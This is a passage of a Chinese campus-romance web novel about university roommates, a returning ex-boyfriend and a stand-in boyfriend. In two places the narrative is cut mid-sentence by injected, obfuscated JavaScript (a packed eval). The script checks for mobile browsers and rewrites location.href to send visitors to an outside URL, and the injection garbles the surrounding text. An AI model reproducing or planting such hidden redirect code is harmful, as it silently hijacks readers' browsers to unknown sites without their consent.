虽然刘小叶看不见他的表情,但是他一脸的温柔和宠溺,眼睛里除了刘小叶之外没有别的人。终于,他在我们仿佛看《罗密欧与朱丽叶》的深沉目光里抬起头,放开了刘小叶,他搔搔头,脸上有一点红晕从耳畔蔓延到脸颊。 每天只在刘小叶聊天对话里出现的男主角终于在现实里曝光。他穿着白色的圆领卫衣,上面印着绒绒的黑色字母——“Freedom”,配牛仔裤和球鞋,看上去清爽又温暖。 此刻,他脸上满是给我们喂了一整袋狗粮后迟到的不好意思,“那个……你们好,我是欧祈。” 郑筱止不住笑,一脸俏皮,“知道啦……” 我对刘小叶挤挤眼,“终于有人看见我们啦。” 刘小叶的脸涨红得像是要滴出血来:“你们……哎呀,讨厌!” 真是破天荒第一次,原来刘小叶也有害羞的时候。这么难得,我们才不会放过这么好的机会。郑筱卯足了劲儿揶揄她,“就知道你最好了……你们继续,继续……” 许苑薇在旁边捂着嘴使劲笑,她也难得看刘小叶吃一次瘪。 欧祈的脸更加红了,“你们晚上有空吗?我请你们吃饭。”他岔开话题,企图化解把他俩包裹其中的羞涩气氛。 “我们才不当一千几百瓦的电灯泡呢。下次吧!”我也顺便调侃了一句。 今天是周四,陈梦晓早就去训练了,我们四个人下午都没课,吃完饭了正在商量下午去哪儿打发时间,现在看来刘小叶是要被拐走了。 我们还在调侃他们俩,一辆红色的布加迪·威龙敞篷跑车“吱嘎”一声停在面前。从车上下来的男生无比耀眼,看上去像是混血儿,高耸的鼻梁,深邃的眼窝,远远望过去,他好像那些在T台上的模特一样,英俊却冰冷。他面无表情,仿佛这个世界跟他没有任何的联系,就像是一尊行走着的希腊雕像。 如果说欧祈是阳光男孩的代表,那么这个男生就像是欧洲高贵血统一脉相承而来的王子,只不过是没有情绪的王子。路过的女生全都目不转睛地盯着他,连尖叫都忘记了,也不记得自己要往哪里走。时间好像静止了,阳光从树叶的间隙投下来,忽明忽暗的光晕都忘记了晃动…… 他径直走到我面前,许苑薇她们几个全都张着嘴,一副不可置信的表情。 “哇塞,小西,你从哪里认识的这种极品帅哥?”三十秒之后,刘小叶大叫出声。她大概忘记了欧祈就在身边。 “很帅吗?”欧祈一脸的不悦,语气里透出浓浓的醋意。 刘小叶今天穿了一件带帽子的卫衫,上面有两个圆圆的耳朵。欧祈一手揪住刘小叶帽子上的两只耳朵,把她拉走了。 “你认识凌静宜吗?她在哪里?” 他的声音低沉而富有磁性,但很冰冷。我几乎忍不住要打个颤。 没错了,他跟凌静宜是一国的。但凌静宜跟他比起来,更有人间的烟火气。 时至今天,我都不知道,为什么他会径自跑到我面前。而我又何曾想到,我们几个的命运会跟这个人纠葛在一起。当然,命运才不会管我们愿不愿意,它只会按照自己的喜好将所有人抛高踩低。 “我认识,但不知道她在哪儿……”不知道为什么,面对他,我有一种想要逃离的感觉,甚至我直觉地认为不告诉他关于凌静宜的任何事才是正确的。 他仍然没有任何表情,甚至没有流露出一丁点儿失望的情绪。他静静地盯了我一会儿,然后静默着离开了,沿途收获了一批又一批女孩子痴迷而狂热的眼神。 等他走出去很远了,许苑薇和郑筱才像是从深沉的梦里面醒过来。 “怎么会有这么帅的男生?他找凌静宜?哎……又一个名草有主的……”两个人互相对望,一脸失望的表情。 “你们俩原来也是大花痴,平时隐藏得挺深的啊……”我拖长了尾音,表达对她俩花痴属性的不屑。 “小西,你得了吧,口水都在心里泛滥成灾了,还装什么装?”郑筱迅速地做出了反击。 我不禁开始怀疑,难道真的像李离说的,我是少数的异类?在春情泛滥的年纪里,居然对这样的帅哥都没有任何感觉。 第四食堂离人工湖很近,湖的旁边是一大片绿色的小山坡。尽管这一片号称铭盛的“情人坡”还算风景宜人,午后却只有很少人待在这里:下午要上课的学生要么回宿舍睡午觉,要么早早去教室占位置,偶尔两三对小情侣慵懒地靠在一起,轻声低语交谈着,时不时发出轻轻的笑声。 凌静宜从情人坡旁边走过,一阵风吹起她的爱马仕围巾,她抬起头看天空,W市的天空难得像今天这么蓝,被风吹着的白云快速地移动,她眯起眼睛,一个人的脸在她心头掠过。英俊深邃的五官,忧郁冰冷的贵族气质,可他笑起来的时候像是没心没肺的孩子……没有人能够想象完全矛盾的两种特质会出现在同一个身上……那个人,应该还远在大洋彼岸,凌静宜摇一摇头,然后低下来,阻止自己继续胡思乱想。 一个高大的人影挡住了她的道路。 “麻烦让一让。”凌静宜没有抬头。 “我回来了……” 听到这个声音,凌静宜惊得抬头,身上的每一个毛孔仿佛都张开了。她努力保持镇定,像在每一个需要展现自己最完美一面的场合那样,笑容徐徐绽放,在最完美的弧度定格:“好久不见,哥伦比亚商学院还没开学?” 眼前的人,既熟悉又陌生。 不过短短两年,他已经从眉眼有点青涩的小男生长成了英俊无敌的男人,最初的温暖早已经不见,从骨子里透出来的冰冷比他离开的时候更甚。凌静宜在心里叹了口气,早应该波澜不惊了不是吗?为什么心却止不住颤了颤,轻微却不可抑制地跳动。 陈东尔,凌静宜的初恋男友。如果要回忆他们间的这一段感情,就得追溯到她的高一。那个时候凌静宜还是个什么都不懂的小丫头,陈东尔大她一岁,也不过是情窦初开的青涩少年。 陈东尔是富三代,陈氏家族的产业遍及五湖四海,他自己长得又帅,很受女孩子欢迎,可他从来没把任何女孩子放在眼里,也许在他看来,所有的女孩子都一样——既花痴又肤浅。 出于良好的教养和本身的温柔性格,他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997342|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是对所有的女孩子避而远之,但这反而让荷尔蒙无处释放的小女生们像是春光里追逐花朵的蝴蝶一样,围绕在他身边伺机而动,心心念念没准哪天被大馅饼砸中,一举攻克这座优质大金山。 谁都没料到,如同一座万年大冰山的陈东尔,在见到凌静宜的一瞬间变成了喷射式活火山。他对凌静宜的追求攻势让所有人大跌眼镜,快速而又火热。终于,在三个月之后,凌静宜成了他的女朋友。 他们在一起之后,陈东尔完美诠释了什么叫最佳男友。对于陈东尔这种有身价有颜值肯舍得花钱脾气还不错的男生,狂蜂浪蝶总是像飞蛾看到火光一样勇往直前,但陈东尔的眼睛从来只盯着凌静宜,他对凌静宜的一往情深堪比小说作者笔下的男主角,无论是凌静宜的朋友还是学校里其他女生都艳羡不已。 除了英俊、温柔和体贴,商业上的天赋让他格外熠熠生辉。在他的影响下,原本就对数字很敏感的凌静宜开始学会用商业的眼光来看待数字。别人约会大多数是看电影、吃饭、旅行,而他们的约会除此之外,还经常在一起讨论各自对金融世界的看法。 两家可以算是世交,两家的家长也对他们间的交往睁一只眼闭一只眼。 他们俩,不管从哪个方面看,都是相得益彰的一对。 起初,凌静宜就像是陈东尔捧在手心里呵护的公主,肆意畅快的时光,充满着轻快的欢笑,让人误认为平凡的美好会日复一日,像流水奔向大海一样成为必然。 但所有一切的美好随着陈东尔家破产戛然而止。 曾经显赫一时的崇东集团骤然坍塌,他父亲跳楼身亡,当他的母亲打开煤气的那一瞬间,就宣告了凌静宜爱情的死亡。 从此,陈东尔从一个温柔而温暖的男生变成了冰冷残酷的男人。仿佛一夜之间,他的世界里就只剩下了数字和对金钱的追求,而他对凌静宜的态度急转直下。反反复复的分手、和好、再分手、再和好…… 他们之间的爱恨情仇简直可以拍成一部冗长的电视剧,还是可以拍好几季续集的那种。凌静宜在这段感情里苟延残喘,好几次她都哭着想放弃,可只要陈东尔对她有一丝一毫的温情,她马上又会一头扎进去,继续在既生且死的感情里浮浮沉沉。 终于,他们的纠葛随着陈东尔的不告而别彻底画上了句号。 凌静宜发了疯一样到处找他,最后还是他高中死党实在看不下去,告诉她他去了纽约,读哥伦比亚商学院。 她在那一瞬间觉得人生是多么讽刺,自己好像变成了曾经最讨厌的那类人,死缠烂打,最后被男人弃之如敝履。 就在所有人都认为她会不顾一切去找陈东尔要个说法的时候,她反而一下子安静了下来,把自己关在房间里,没有人知道她用什么消磨时间,也不知道她把自己的情绪用到了哪里。自然,也没有人知道她曾陷入过无法自拔的自卑情绪里,一度反反复复问自己:在陈东尔眼里,她难道是一块甩不掉的牛皮糖?曾经的那些过往,是真实的还只是她的臆想?陈东尔究竟是顾及还是践踏她的骄傲和自尊?连告别都没有的人,是否值得她罔顾骄傲去问一句为什么。 直到有一天,她再一次从暗黑的噩梦里醒过来,拉开很久不曾拉开的窗帘,清晨的阳光落在她的头发和睫毛上。内心的自嘲来得汹涌而猛烈,“生活并不都是镁光灯和红地毯,就连公主都无法事事如意,更何况是你凌静怡。醒醒吧,收起莫名其妙的自怨自艾,you should move on.” 她的行动更能代表她的内心:没有人能够让她在原地等待,也没有人值得她一路追赶。 接下来的两年,她一如既往地生活,好像那一段过往不存在一样。她似乎还是那个不谙世事、骄傲任性的小公主,在最好的高中读书,不出意外,会上最好的大学。 可是,她最后的选择让所有人都大跌眼镜:明明可以去一流的大学,她却选择了铭盛。 在精英世界里,像她这样一路让人仰望的璀璨存在,读一所二流学校无异于自毁前途。而所有规劝她的人,也都不明白她的坚持源于什么。 当然,最后她那个商业大亨爸爸妥协,让她真的去读铭盛,也让精英父母们匪夷所思。 于是,在很多人眼里,她像一颗陨落的星星,但在惋惜之余,也只是茶余饭后的谈资。 可事实上,她这样的人,无论在哪里,无论怎么样,光芒都是藏匿不了的。 凌静宜清楚地明白:她成为今天的样子,跟陈东尔密不可分,但他只是外因。她是一颗深埋在地下的钻石,他只不过是开采者,现在的她才刚刚开始要发光,她的人生注定熠熠生辉。她不需要任何名校为她加冕,除了作为炫耀的资本,那些头衔一无是处。 至于疼痛的打磨,一次就够了。 她把所有的合照锁了起来,希望那个人从此之后不要再出现。 因为,她不知道,当两个掠夺者在商业世界里再次见面,会以什么的姿态面对彼此——是兵不血刃地厮杀,还是惺惺相惜地屠戮。 7. 第 7 章 已经到了十一月下旬。W市的天气一反常态,仍在秋天里逗留着不肯走。 刘小叶直呼妖孽,她说W市没有秋天,过了夏天之后几场雨一下,整个城市就像冰河世纪重新降临,从地表中心向外飕飕地冒冷气,一切都变成冰封的世界。今年居然到了十一月下旬,还是不温不火没有一点入冬的征兆。 在宿舍里时,刘小叶在郑筱和我之间来回扫射,最后下了个定论:就因为你们俩来了W市,连天气都变了。 虽然天气并不寒冷,但凌静宜在这一刻觉得世界就像是个大冰窟,心里像是穿了风一样瑟瑟发抖,他为什么回来?她原以为这辈子要么不见,要么就在若干年后的某一个商业晚宴上,但绝不应该是在这样的场景下。这不公平,她还没有准备好,谁允许他一声招呼都不打就闯入她现在的生活? “你怎么才来?”凌静宜的嘴角携着笑意,目光柔和,望向陈东尔。 陈东尔一下晃了神,她撒娇赌气的娇俏神态全部都在他眼前晃动。可下一秒,他悲哀地发现这份久违的柔情并不属于他。 凌静宜一把勾住向她迎面走来的那个男生的胳膊,嗔怪地撒娇:“下次再迟到,我就不理你了。” 陈东尔看上去没有任何情绪波动,但他冰冷的声音让周围的空气里都流动着寒意:“不介绍我们认识?” 叶翔看一眼挽着自己的凌静宜,很显然,他在毫不知情的情况下成了别人的男朋友。 他打量着勾着自己胳膊的那双小臂——线条优美,再向上看,是一张似乎常年没有情绪的高级面孔。 凌静宜不是那种仅仅是好看的女孩子,她的轮廓立体,初看不惊艳,但耐人寻味。再加上拒人以千里之外的清冷气质,深邃大气的五官,在一票小女生里显得鹤立鸡群。如果说郑筱是清纯玉女的代言人,那凌静宜就是十足十的御姐表率,尤其当她前一秒还是冰山扑克脸,下一刻雪融春花开的时候,更是让人难以抵挡。 在叶翔的人生里,充斥着女生的尖叫声和冒着粉红泡泡的爱慕眼神,挡箭牌、备胎……这一类词语的陌生程度就像某一颗处于千万光年之外的不知名星星——有趣,真是有趣。 要是萧楠和陆亦知道他也有今天,估计下巴都会笑脱臼——鼎鼎大名的叶翔,万千少女的梦中情人,居然活生生地被当作了挡箭牌,还是连名字都没有的那种。 那又怎样? 他们大概不知道一帆风顺的人生有多么的无趣。况且…… 他不动声色,鼻翼几不可见地翕动了两下,随后他伸出了手,还没有来得及自我介绍,凌静宜就打断他:“没必要吧。” 陈东尔本来就冰冷,此时脸上更像结了冰一样:“我以为……” “你以为什么?你以为我会一直等你,不管你音讯全无,是死是活……不管你在多远的地方,只要你勾一勾手指,我就会像一只温顺的哈巴狗一样摇头摆尾冲向你,向你献殷勤,祈求你让我留在你身边?陈东尔,你太高估自己,我不会一直等你……你一走我就交了新男朋友……”她的声音冰冷,却掩盖不住声音里的颤抖。 凌静宜在很多人眼里既高冷又理智(实际上,他们用的词是既冷血又刻薄),尽管年纪小,可她处理事情时冷静得像个机器人。除了她自己之外没人知道,在陈东尔面前,她所有的冷静理智分分钟分崩离析。以前就是这样,在他面前,她会变得不讲理,爱撒娇…… 她晃了晃神,眼光不由自主看向陈东尔的手腕,那里曾经有一个她咬的齿痕。他们最后一次分手又复合,她狠狠咬了陈东尔手腕一口,咬得鲜血淋淋、血肉模糊,然后恨恨地说:“如果我们再分手了,就再也不要见了!” 陈东尔疼得龇牙咧嘴,用哀怨的眼神看了她一眼:“小静,你真狠心,要谋杀亲夫啊?”然后迅速地跑开,冲着她吐了吐舌头,那一瞬间,他仿佛又变回了那个十七岁时的温暖少年。 凌静宜追着他跑,他一边笑一边跑,突然返过身来紧紧抱住她,在她耳畔说:“我们永远都不会分开……” 可是,三个月之后,他去了纽约,没有一句解释,没打一声招呼。 他穿着范思哲的套头卫衣,长长的袖子盖着手臂,那个齿印也许早就不在了。 曾经不顾一切地想要在他身上留下哪怕一星半点的印记,现在想起来却有些可笑,就算那个是一辈子都磨灭不去的痕迹又怎么样?有些东西,失去了就不会再回来,就算是替代品都无法轻易获得。 凌静宜在心里苦笑:真是没用……不是应该微笑地问好,云淡风轻地寒暄一番?她下意识地咬了下嘴唇,那一整段堪比琼瑶对白的控诉算怎么回事?幼稚!失败!即使她已经无数次告诉自己,再见面应该表现得如何淡然,可她从未预演过这一幕,还是高估了自己,低估了曾经。她有些不甘心,凭什么他能那么轻而易举、兵不血刃。 这时,叶翔恰到好处地补了一刀:“听到了没,别再缠着我女-朋-友。” 陈东尔动了动嘴唇,最后什么都没有说,只是冰封一般的面孔上出现了裂痕。他转身离开的一瞬间,凌静宜迅速放开了叶翔的胳膊,就好像他是避之唯恐不及的传染性病毒一样。 在陈东尔走出去很远之后,她说:“谢谢。” 叶翔耸耸肩:“大美女,我帮了你这么大个忙,就一句谢谢?” “你想怎么样?”凌静宜双手交叉抱在胸前,睨了他一眼。 “接下来的台词不该是无以为报,以身相许?”叶翔一本正经地调侃。 在凌静宜说话的时候,他已经在脑海里开启了吐槽模式:那一长段台词是从哪本小说里摘抄的吧?女主角的情绪挺到位,男配角的表现力很一般。啊,该我上场终结这个狗血剧情了,男配应该会感激我吧?! 与此同时,他甚至预演了接下来的剧情走向——男主角接受告白。 两个月前,有个女生为了追他,在他经过学校“小池塘”不小心“失足”掉了下去,只不过他当作没有看见走了过去。 ——那个小水池的深度还不到胸口,淹死人的概率只有百分之零点几 ——他才不会为莫名其妙的没脑子买单 ——现在女孩子为了追男生花样百出,真该让公司里的那些员工好好学习下她们的敬业精神 “你的脑子被门挤坏了吧!”凌静宜从皮包里拿出一千块,皱起眉头说:“够了吧?” 叶翔越来越觉得有趣——这一次,他货真价实地被当作了挡箭牌,没有名字就算了,而且付费使用,用完即弃。 为了给简瑞铭那个该死的游戏公司申请一项新的专利权,他整整忙活了三个星期。天天对着无数个法律术语和条款,从早上八点到凌晨两三点,没日没夜,即使是他自己选择的工作,也不由自主想要哀叹一声:真是冗长且无聊的人生。 这不,一交完材料,他马上就开溜了。还是学校里轻松,临到步入社会才贪恋能名正言顺碌碌无为的日子,是不是有点晚呢?老天爷大概听到了他的心声,要不怎么能一回学校就能碰到这么难得一遇有新意的一出好戏呢? 眼前的这个女生跟那些看到他就走不动路,动不动就尖叫,让他躲都来不及的女生都不一样,有意思,太有意思了。 “我是叶翔,你的名字是?” 凌静宜镇定而平静地说了一句叶翔曾经听过的对白——“没必要吧。” “你不用把对男朋友说的话转述给我。”叶翔不自觉挑了一下左边的眉毛,这是他一直以来的小习惯:只要他心情不好,就会不由自主挑眉毛。 “前男友,ex,过去式……”凌静宜恢复一贯的冷静高傲,纠正他。 “不得不说,你成功地引起了我的注意……” 凌静宜把钱塞回皮包,没好气地说:“第一人民医院的脑科和第三人民医院的精神科在过去历年表现出色,”她抬起手看了看手腕上的宝格丽腕表,“如果你速度够快的话,今天或许还能看上其中的某一科。” 她停顿了一下,接着说:“以防万一,你还是都看了吧。看在你帮过我的份上,如果有需要,我可以介绍主任医师给你。” “没必要吧?”叶翔愈发觉得有意思,这个姑娘真的对他没兴趣。 他们当然都没有听见陈东尔那句轻如耳语一样的呢喃:“小静,可是对我而言,只要你勾一勾手指,不管多远,我都会冲到你身边……”偏棕色的眼睛渐渐变成墨色,他的双手握得很紧,指甲深深地陷入手掌中,触目的血从掌心滴下来,但是他似乎完全没有感觉:“小静,你是我的!你只能是我的!” 当事人并不知道他们已经成为了别人谈论的八卦,看风景的人成了别人眼中的风景,只不过装饰的不是别人的梦,而是平淡而无聊的课间生活。 “哎,你们知道我看见谁了吗?”刘小叶回了宿舍就一惊一乍。 我和许苑薇都在客厅里看书,唯一不同的是她坐在地毯上看专业书,而我窝在沙发的边角看闲书。 许苑薇伸手扶一扶了眼镜——尽管她有好几副眼镜,但无一例外全都是黑框(虽然刘小叶说了好几次像老学究,但鉴于她自己的品味,不被接受也在情理之中),头也没抬地问:“你又发现什么了?” “我跟欧祈经过情人坡的时候,看到凌静宜挽着叶翔……” “你没看错吧?”郑筱刚从房间里出来,脸上贴着黄瓜,仰着脸,用最小的幅度张开嘴表达这一句无比惊诧的话语。要不是怕黄瓜掉下来,她肯定会抓着刘小叶的胳膊使劲摇晃用以表达她内心的震惊。 刘小叶像被踩到了尾巴的猫一样尖叫起来:“我的眼睛不知道有多好……今天我们看到的那个极品帅哥也在场……你们说,他们仨到底怎么回事?” “谁知道呢……神秘人士的神秘恋情,哪是我们这些凡夫俗子能参悟得了的?”我今天完全没有看书的心思,在我斜下方的许苑薇都快看到课后练习了,我手里的那本《最美的溺水者》依然停在翻开的那一页上。 她鄙视地看着我说:“周小西,你这种消极散漫的态度,将会导致人类八卦精神日趋消亡。” 我丝毫不怀疑刘小叶对待八卦的认真程度,她像热爱生命一样热爱着八卦。如果世界上有诺贝尔八卦奖,她当仁不让会把这个奖项纳入囊中。 陈梦晓训练完刚刚洗好澡,穿着一身Adidas的运动服,神清气爽地走到桌子旁边,轻松拧开一瓶饮料,咕咚咕咚喝了好几口,有一滴顺着她的唇角流下来。 刘小叶的目光被吸引住了,她吞咽了一口口水,声音响亮的好像刚刚喝饮料的那个人是她。 掺杂着打击报复的成分,我以十分鄙夷不屑的口吻对她说:“快擦擦你的口水!” “刘小叶,你家欧祈知道你移情别恋了吗?”明明是调笑,也就只有许苑薇能说得一本正经,好像这是个严肃的话题。 陈梦晓用手擦了擦嘴巴,咳嗽了两声,然后她迅速从沙发上拿起一个靠枕挡在自己的胸前:“难道你一直垂涎我?” 我们几个互相看来看去,不知道陈梦晓这个是真的疑问句还只是开玩笑。毕竟她在我们的心目中,是仅次于凌静宜的大冰山。 郑筱一脸大惊小怪,她从沙发上摸过另一个靠垫挡在自己胸前,瞄一眼刘小叶:“原来你是弯的呀。”然后,她往后退了一步,生怕刘小叶突然张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997343|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙舞爪冲她扑过去用指甲抓花她的脸。 刘小叶一脸生无可恋的样子:“你们这群腐女!哼,我再也不理你们了。” 真不知道谁才是货真价实的腐女,她意淫风尘三剑客的频率比见欧祈不知道高了多少倍。 八卦是人类的天性,我原以为自己是例外:一度我对别人的事情不感兴趣。没想到,这只是因为我的八卦基因像未曾锻炼过的肌肉一样不发达。而在在刘小叶孜孜不倦的灌溉下,它生根发芽,逐渐茁壮。但奇怪的是,我对凌静宜的事情,并不像看见刘小叶和欧祈在一起那么兴奋激动。八卦她的想法,甚至比不上拿刘小叶和陈梦晓开玩笑的兴致大。 我才不相信刘小叶会不理我们,她的冷战功力绝对战五渣水准,一个小时不说话都能憋死她。更何况我还有专治她的法宝。 我阖上手里的书,拿出高数课本,哗啦哗啦翻到今天的课后习题,拿出本子准备以最快的速度搞定它,然后去码字。由于这次月考,我估计这个星期能码字的时间少得可怜。 “咦,今天的高数作业好像挺难的……”我故意对着刘小叶的方向说得很大声,猜测她“不理我”能不能超过一分钟。高数是刘小叶的命门,只要高数老师布置了作业,她就算在天边也会哧溜一声窜到答案旁边,屡试不爽。 果然,她迈着小猫步蹭到我旁边:“小西,你最好了。你做完了之后把微积分作业借我抄一抄嘛。” “刚刚不知道谁说不理我的。” “哎呀,我就是随便说说的,我不理的是许许和郑筱,不包括你。” “哦,忘了告诉你,作业得参考许许的笔记……” 金融系的高数进度比我们系快,我顺手还向许苑薇借了她的习题集——不管需不需要实际解题,她都会在每一道题旁边写上解题思路,所以可以拿她的习题集当作参考书用。 “哼,小西,你可不能把作业借给刘小叶这个没良心的。”许苑薇说得一本正经,“不然你就把习题集还给我。” 刘小叶泄了气,“哎呦,你们都是我亲姑奶奶,我不理自己还不行嘛。” 郑筱没憋住笑了,“突然多了这么大个孙女,还真有点不适应。” 我也忍不住了,噗嗤笑出声来,“刘小叶,你每次都抄我作业,月考可怎么办?” “啊……我都把月考这事儿忘了……”刘小叶肯定已经被欧祈用炸鸡翅和甜言蜜语冲昏了头脑,她现在满脑子里都是浆糊。 接下来的一周,我们简直焦头烂额,这里的“我们”特指我、刘小叶和许苑薇,而郑筱和陈梦晓她们俩悠然自得。英文系从来不月考,而体育新闻系更过分,就连期末考都是交篇新闻稿结束。至于凌静宜,她才是冉冉升起的一颗奇葩。作息跟没考试时一样,天天早起读报纸,上完课就走人,回宿舍从不温书。 而在我们之中,我和刘小叶是重灾区,每天复习到深更半夜。像许苑薇这种笔记都被别的宿舍借去抄的好学生,虽然考前也在复习,但跟我们俩的临时抱佛脚有本质的区别。 经过这一个星期的残酷洗礼,我除了吃饭只想睡觉,压根提不起一点码字的劲头。 刘小叶也没好到哪里去,我看见她眼底下淤青的黑眼圈,再深一点都快赶上国宝熊猫了。我们俩的哈欠此起彼伏,刘小叶说那些微积分的各种符号像天书一样在她的眼前飘荡,完全理解不了公式到底要怎么用。 我想了想,决定还是不用自己的智商下限去打击她了,她万一想不开了可怎么办?! 课堂上,“马克思主义原理”老师以无比高亢的热情讴歌马克思主义。又一次被他高亢的声调吵醒,我有一种冲上去掐死他的冲动。这一刻,我对《大话西游》里的孙悟空感同身受——只要把他的舌头拉出来再打个结,整个世界清静了……我不停在心里默念:“周小西,这个世界这么美好,而你却如此暴躁,这样不好……” 要不是班长在群里放风说今天的课老师会点名,不到的人就扣学分,搞不好期末总成绩会被平时成绩拖累,我才不会来上这么无聊的课。我真的有点愤怒,高中哲学课还可以说是为了让我们学习看待世界的方式,可大学用伟大的马克思主义破坏我们原本就不足的睡眠,是什么道理?我觉得这肯定不是伟大人类的初衷,毕竟他们都深谙少年强则国家强,而每天困死困活的少年能有什么生产力? 刘小叶这个家伙,她压根就没来。 我从宿舍出来之前,她眨巴着硕大的眼睛,用小鹿一样无辜的眼神望着我,“小西,点名你一定要帮我……”谁知道她给我灌了什么迷魂汤,我居然答应了她。直到坐在教室里才反应过来,发微信恐吓她,她赌咒发誓说她在宿舍复习。我才不相信,她肯定是在宿舍看漫画吃零食,可能还会睡大觉。 上课之前没有点名,我懊悔听信了班长,早知道应该翘课。没想到,第二小节中途老师开始点名。这一招真是阴险,大课都是两节连上,很多人都是第一堂课应了卯就撤了,谁能想到老师杀回马枪。 点完我的名之后又叫到刘小叶的名字,我只能整个人趴在桌子上,捏着嗓子答了声“到”……幸好有惊无险,吓得我的小心肝儿扑腾扑腾跳个不停。 老师继续念经,我摸出手机,烦躁地看究竟还有多久才下课。如果时间长的话,我计划再睡上一觉。它明明白白地告诉我,只要再撑过十五分钟,就能看到蓝天白云,自由呼吸的空气……好吧,那些纯属意淫,这个季节的W市时不时就来场大雨肆虐。 十五分钟……我思考了下,不打算继续睡了。理了理头发,揉一揉趴在桌子上睡觉压出来的红印,翻出随身带的小笔记本,开始写场景大纲。 8. 第 8 章 回到宿舍,刘小叶果然四仰八叉地躺在床上,高等数学课本打开盖在她的脸上,不知道她睡了多久,但肯定比我睡得舒服。 我忿恨地开始摇她,可她居然没有一点要醒的迹象。我把手机的音乐开到最大声,放到她耳边旁边,她竟然……翻了个身,继续睡。 想了三十秒,我砸吧了两下嘴:“今天食堂的糖醋排骨……” 话音还没落,刘小叶睁开了她迷糊的眼睛,四处张望,“糖醋排骨……”然后,她响亮地吞了声口水,“在哪儿呢?” 刚刚跑完步的陈梦晓一边抽纸巾擦汗,一边调侃:“刘小叶,你是打算穿越回唐朝吗?在那个朝代,你圆润的小身材还是很有发展潜力的!” 刘小叶一脸茫然地问:“唐朝的糖醋排骨好吃吗?” 我们集体噎住了。 …… 在这一周里,郑筱收到了她进校后的第七封情书。尽管英文系向来盛产美女,可郑筱的存在,刷新了英文系历任系花的美丽新高度。郑筱是绝对的美女,就算她穿着一百多块钱从小店里淘来的裙子,那些男生还是会避开其他女生,将目光牢牢锁在她身上。因为这一点,英文系的女生们都不愿意跟郑筱走得太近,每次上下课她都是一个人。 陈梦晓的战况丝毫不逊色,她也收到了七封情书。不过跟郑筱不一样,她收到的是女生的情书。每当女生害羞地往她手里塞情书的时候,她简直欲哭无泪。第一次收情书,她还没搞清楚情况,愣了半天。现在早已习惯,可还是烦恼。 她万分郁闷地在客厅里走来走去,狠狠咒骂,“这些花痴!” 刘小叶一副见怪不怪的样子,“小陈哥,你这么帅,被人追不是很正常。” “我又不喜欢女孩子!”陈梦晓用手抓头发,“这要怎么办?” “啊……原来你不喜欢女孩子?”我喝着刚从冰箱里拿出来的酸奶,经过她们身边的时候,不经意补了一刀。 “周小西!”陈梦晓抓起沙发上的抱枕,向我扔过来。我往旁边一闪,抱枕正好砸在刚进门的许苑薇头上。 “我今天丢了饭卡,一回来就被砸,怎么这么倒霉啊?”许苑薇哭丧着脸。 陈梦晓转身从冰箱里拿了一杯酸奶,递给她,“喏,周小西的酸奶,你替她挨了一下,喝她一杯酸奶,她不亏本……” 我正准备把喝完了的酸奶杯扔进垃圾桶,眼尖的刘小叶一把拽住我的胳膊,“小西,你居然不舔杯盖?太浪费了!” “不舔杯盖很浪费?”我差点脱口而出“我从小就不舔”。 除了陈梦晓之外,其余三个人猛点头,“小西,你不知道吧,”许苑薇拿出搞学术研究一样的认真态度,“喝酸奶最有乐趣的就是舔杯盖了!” 我有点不相信,舔杯盖那么恶心的行为,还能归结为有趣? “就是!”刘小叶猛点头——我怀疑如果可能的话,她会在脑袋里装个电动机器提高点头频率——“我每次都把杯盖留到最后舔……许许,你给小西示范一下。” 我差点翻个白眼晕过去,舔个杯盖还要示范?这几个家伙当我是白痴呢?于是,我在众目睽睽下进行了我人生第一次舔杯盖行动展示,感觉自己像是一只毛茸茸的小狗。 刘小叶用胳膊捣捣我,“是不是打开了你人生的新领域?” 当我抬起脸的时候,她们三个差点没笑地岔过气去。陈梦晓走过来,用手指抹掉粘在我脸上和鼻尖上的酸奶。 “哎呦呦……”刘小叶哀嚎:“我的小心脏啊,小陈哥,不带你这样的!你要把我家小西掰弯了怎么办?” 陈梦晓翻个白眼,“你以为小西是你啊?” 郑筱来来回回看了我好几次,突然说:“周小西,你没人追,还真是奇怪。” 刘小叶一把抱住我说:“我们家小西,气质高冷,那些男生肯定是有贼心没贼胆!” 就在我们闹做一团的时候,伴随着规律的高跟鞋声音,凌静宜出现在宿舍客厅里。 “我要看会儿书,你们能安静一点吗?”她的眉头微微皱起,虽然是商量的口吻,可她的声音里透露出不容置疑的命令讯号。 我们几个自觉无趣,准备回房间,陈梦晓说了一句:“欢迎各位来到冰雪女王的领地。” 我们从心底都认同这一点。 陈梦晓的高冷是冷在表面上的。随着我们越来越熟悉,她冰冷的那层外壳渐渐褪去,刘小叶戏称“我们融化了冰山”,郑筱笑着纠正“是融化了一座假冰山”…… 陈梦晓在陌生人面前,像一个高高在上的小王子,实际上她就是个傻乎乎的小女生:会跟我们一样做梦,聊那些有点没的,而且居然也是恶作剧的忠实拥护者。尽管每次她都被刘小叶和我捉弄,依旧乐此不疲地跟我们玩“看谁又补了谁一刀”的无聊游戏。 不过她178cm的身高,站在我们几个当中鹤立鸡群,加上英姿勃发的脸蛋和中性的打扮,出去的时候都被一票男生报以挑衅而又羡慕的眼神。 铭盛作为一所偏理工科的学府,本来就男多女少,基本上三分之二的女生都集中在英语系和经济系。像陈梦晓这样一拖四的阵势,还是环肥燕瘦各有不同,走出去相当拉风。 